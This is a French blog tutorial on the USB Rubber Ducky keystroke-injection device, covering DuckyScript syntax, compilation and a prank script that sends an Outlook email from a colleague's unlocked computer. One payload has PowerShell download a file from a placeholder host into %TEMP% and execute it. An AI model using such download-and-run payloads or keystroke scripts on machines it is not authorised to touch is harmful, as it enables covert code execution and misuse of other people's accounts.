Rubber Ducky - Le test

De Vulcainreo, lun. 25 novembre 2013, dans la catégorie Hacking

Hacking

J'ai récemment fait l'acquisition de la "clé usb" Rubber Ducky. Cet article vous permettra d'en connaitre d'avantage sur ce merveilleux jouet et d'écrire votre premier script!

Rubber Ducky Il s'agit en réalité d'une clé usb un peu spéciale puisqu'elle émule un clavier physique. Sa particularité est de pouvoir scripter les touches qui seront appuyées.

Petit exemple pour démarrer

En d'autres termes, si vous êtes sous windows, pour écrire un "helloworld" dans le notepad tout-pourri uniquement avec votre clavier réaliser les combinaisons de touches suivantes

Appuyer sur windows + r
Ecrire la chaine de caractère notepad
Appuyer sur la touche Entrer
Ecrire la chaine de caractère helloworld

En script, avec une syntaxe particulière, cela donne: (les lignes avec le mot clé REM sont des commantaires pour aider à la compréhension)

REM attente du chargement de la clé usb
DELAY 500

REM appui des touches windows + r
WINDOWS R

REM attente de la fin d'exécution de la commande
DELAY 200

REM ecriture de la chaine "notepad"
STRING notepad

REM attente de la fin d'exécution de la commande
DELAY 100

REM appui de la touche entrer
ENTER

REM attente de la fin d'exécution de la commande
DELAY 300

REM ecriture de la chaine "helloworld"
STRING helloworld

Les explications

Avant toute chose

Avant toute chose, je tiens à informer que je ne peux être tenu responsable des actions qui seront faites à l'aide de cette clé. L'unique but de cet article est de vous familiariser avec le langage des scripts en vue de sensibiliser vos proches du danger du Ducky.

Le fait d'utiliser ce genre de matériel dans un but malveillant est passible d'une lourde amende et/ou de poursuites.

Où acheter cette merveille

Maintenant, que vous êtes conscient des risques, voici le lien vers la plateforme d'achat :) http://hakshop.myshopify.com/products/usb-rubber-ducky La clé usb coute, dans sa version basique 36,99$ (c'est à dire uniquement la clé usb). Si vous souhaitez une boite, d'autres packs existes. A vous de choisir :p

Personnellement je me suis laissé tenté par uniquement le pack basique à 36,99$. Cependant sachez que le paiement se fait par carte bancaire (des frais seront surement à prevoir auprès de votre banque :s ).

Concernant la livraison, je l'ai reçu en 5 jours dans une enveloppe à bulles. Le Ducky était également dans une pochette à bulles (qui me sert aussi actuellement pour son transport).

Quelques éléments de syntaxe à connaitre

Passons maintenant au vif du sujet. Pour bien commencer, je vais vous lister les différents éléments de syntaxes à connaitre pour écrire vos propres scripts.

Le fonctionnement est le suivante: COMMANDE (en majuscule) suivit d'une chaine de caractère. Ainsi, pour écrire un commentaire on écrira: REM commentaire

Voici les commande de base à connaitre:

Un commentaires:                        REM
Attendre 1 seconde:                     DELAY 1000
Ecrire une chaine de caractère:         STRING
Taper la touche entrer:              ENTER
Taper la touche Echap:                  ESC
Taper la touche Tab:                    TAB
Taper la combinaison Windows+r:      WINDOWS r ou GUI r
Taper la combinaison Alt+h:             ALT h
Taper la combinaison Ctrl+c:            CONTROL
Taper la touche flèche haut:            UPARROW ou UP
Taper la touche suppression:           DELETE
Taper la touche espace:              SPACE

Cette liste n'est pas exhaustive. Vous pourez retrouver l'ensemble des commandes sur les liens dans le chapitre: lien utiles

Mon premier script pas à pas

Qu'allons nous faire ?

Nous avons vu en introduction comment afficher un helloworld. Nous allons corser la chose avec un script, encore sous Windows (je sais c'est moche :)) qui va télécharger un fichier depuis le web puis l'exécuter..

Configuration de l'environnement

Pour commencer nous venons de recevoir notre magnifique clé usb, ne la connectez pas tout de suite!!!
Nous allons extraire délicatement la petite carte microSD qui s'y trouve pour la mettre dans le lecteur microSD de notre ordinateur. Celle ci, est vue comme un disque amovible et l'on y trouve ceci:

Dans tous les cas, je vous conseille de télécharger le dernier compilateur en date (DuckEncoder.zip) à l'adresse suivante: https://code.google.com/p/ducky-decode/downloads/list

Vous devez avoir également java d'installé sur votre machine pour exécuter le compilateur encoder.jar.

Dans mon cas, le jar ne fonctionne pas, j'ai donc téléchargé les sources de l'application: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder

Pour compiler, rien de plus simple: se mettre dans le dossier src, puis executer

javac encoder.java -o encoder

Rédaction du script

Maintenant que vous avez votre environnement de développement, de compilation et le matériel pour jouer, passons aux choses sérieuses :D

Nous allons créer notre script à l'aide d'un simple fichier .txt

DELAY 3000
GUI r
DELAY 100 
 STRING powershell (new-object      System.Net.WebClient).DownloadFile('http://example.com/test.old','%TEMP%\test.exe');
DELAY 100
STRING Start-Process "%TEMP%\test.exe"
ENTER

Compilation

Maintenant que nous avons notre script, nous allons le compiler. Je vous ai précisé précedement que le script ne fonctionnait pas chez moi et que j'avais été obligé de compiler les sources.

Je vous invite néanmoins à regarder les scripts, qui très bien fichus, disponibles sur le site du développeur.

Quant à moi, nous aurons besoin:

Ayant tout cela, je vous invite taper la commande suivante:

java encoder -i monscript.txt -o inject.bin -l fr.properties

Le lancement de cette commande devrait donner le resultat suivant:

Hak5 Duck Encoder 2.6
Loading File .....      [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript .....   [ OK ]
DuckyScript Complete.....   [ OK ]

Vous devriez avoir un fichier nommé inject.bin dans le dossier courant.

Finalisation

Une fois votre fichier inject.bin créé, vous pouvez déplacer ce fichier à la racine du disque amovible. Ejectez correctement puis remettez la microSD dans ducky.

Exécution

Vous n'avez plus qu'a tester sur votre ordinateur :)

Usb Ducky branché

Méthodologie pour concevoir un script "Croissant"

Dans le service où je travaille, une politique sensibilise les gens à vérouiller leur sessions dès qu'ils quittent leur bureau. Pour marteler facilement cette campagne, pour chaque session laissée ouverte et sans surveillance, un mail est envoyé à l'ensemble du service avec le message suivant:

Comme je suis très gentil d'avoir laissé ma session ouverte, je vous offre les croissants demain :) Venez nombreux !!!

Le temps moyen pour écrire ce mail (rédaction du mail et le temps pour entrer les différentes adresses email du service) est d'environ 2mn chrono. C'est trop long quand la personne est juste partie parler à un collègue.

Ma solution est d'utiliser notre nouveau joujou pour réduire ce temps à 5 secondes chrono en main !!!!

Malheureusement, étant obligé de travailler avec Windows, c'est donc Outlook le client de messagerie cible. J'ai donc conçu un script pour envoyer un mail croissant dès qu'un collègue s'éloigne un peu trop de son ordinateur sans vérouiller sa session :)

Pour cela, Windows est totalement manipulable avec le clavier. Pour faire afficher les raccourcis, il suffit d'appuyer sur la touche ALT. Des petites lettres apparaissent alors et permettent de naviguer dans les menus. Echap permet de revenir en arrière.

Ainsi, en avançant petit à petit, il suffit de noter les commandes et d'écrire le script final.

REM Envoi de mail croissant via Outlook sur un poste Windows non verouille
DELAY 1000
WINDOWS r
DELAY 500
STRING outlook
DELAY 800
ENTER
DELAY 1000
ALT h
DELAY 500
ALT n
DELAY 500
STRING laListeDesAdressesEmailDeVotreService OU UneListeDeDiffusion
DELAY 400
REM echap permet de passer l'aide à la saisie de l'email
ESCAPE
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
STRING croissant
DELAY 200
TAB
DELAY 500
STRING Comme je suis très gentil d'avoir laissé ma session ouverte, je vous offre les croissants demain :) Venez nombreux !!!
DELAY 500
ENTER
STRING Cordialement
DELAY 500
ALT S
REM powned :)

Il ne vous reste plus qu'à le compiler comme cité précédement puis à copier le fichier inject.bin à la racine de la microSD. Attendez ensuite qu'un collègue ait oublié de vérouiller son ordinateur.

Bien entendu, je ne suis pas responsable des conséquences d'un tel acte :)

Pour aller plus loin

On l'a vu dans l'ensemble de cet article, le fonctionne est basé sur l'émulation d'un clavier. Mais qui dit clavier, dit que l'on peut se connecter sur un nombre très important de périphérique différents.

En effet, un téléphone Android, un Ipad, un linux, mac ou Windows ... tous ses périphériques acceptent d'être controlés par un clavier sans restriction ni demande d'autorisation. Il devient alors possible de scripter n'importe quelle action pour envoyer la purée !!

Dans des prochains articles, je vous donnerai quelques scripts pour Android pour que vous puissiez sensibiliser vos proches que rien n'est éparniable (rire diabolique :D)

Mon avis sur ce jouet

Cette "clé usb" est vraiment formidable mais peut s'avérer dangereux car facilement dissimulable. Sachant que les claviers utilisent des drivers génériques, un ordinateur accepte n'importe quoi du moment qu'il est reconnu comme un clavier.

Alors oui, on peut se proteger en acceptant qu'un seul clavier possèdant un certain UID (sorte d'identifiant unique), mais le ducky peut changer son UID pour prendre celui du clavier physique. Dans ce cas, aucune parade n'est possible ...

Le pire dans tout cela, c'est que la communinauté est grande et que l'imagination des développeurs est sans limite. Ainsi, il est très facile de récupérer le code source (Payload) d'un script permettant de désactiver le Firewall et de récupérer les mots de passes tout en installant une backdoor en moins de 20 secondes ... Monstrueux !

Mon seul conseil est de faire attention à bien vérouiller votre session, c'est votre seule parade!

Liens utiles

Site officiel du Ducky (en anglais)

Les ressources et le guide complet (en anglais)

Les scripts de la communauté

Le Github du développeur du Ducky